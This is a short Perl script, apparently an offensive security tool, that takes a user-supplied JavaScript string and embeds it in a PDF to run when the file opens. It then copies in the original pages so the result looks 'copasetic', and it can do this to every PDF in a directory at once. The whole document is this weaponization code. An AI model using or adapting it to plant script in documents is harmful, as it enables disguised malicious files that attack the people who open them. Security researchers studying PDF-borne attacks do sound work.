#!/usr/bin/perl # This perl script allows a user to combine an arbitrary pdf with # an arbitrary js of their choice. # Usage: # ./pdf_plus_js.pl -i input.pdf -o output.pdf -j 'JavascriptInOneLongString' # # ./pdf_plus_js.pl -d somedir -j 'JavascriptInOneLongString' # # Author: saintpatrick@l1pht.com use PDF::Reuse; use Getopt::Long; use File::Find; use File::Path; # Get options GetOptions('i:s'=>\$input_file,'o:s'=>\$output_file,'j:s'=>\$myjs,'d:s'=>\$dir); if (-d $dir) { printf("[----Burning Through Directory----]\n"); finddepth(\&workdir, $dir); printf("[------Done Check Your Files------]\n"); } else { workfile(); } # Single file routine sub workfile() { # Define a file to work with prFile($output_file); # Give the file some Javascript to be executed on startup prInit($myjs); # Now add in pages from the input file to make everything appear copasetic prDoc($input_file); # Finished prEnd(); } # Dir routine sub workdir() { $input_file = $_; if ($input_file =~ /.pdf/i) { $output_file = "./out/".$input_file; printf("Working on file: ".$output_file."\n"); workfile(); } }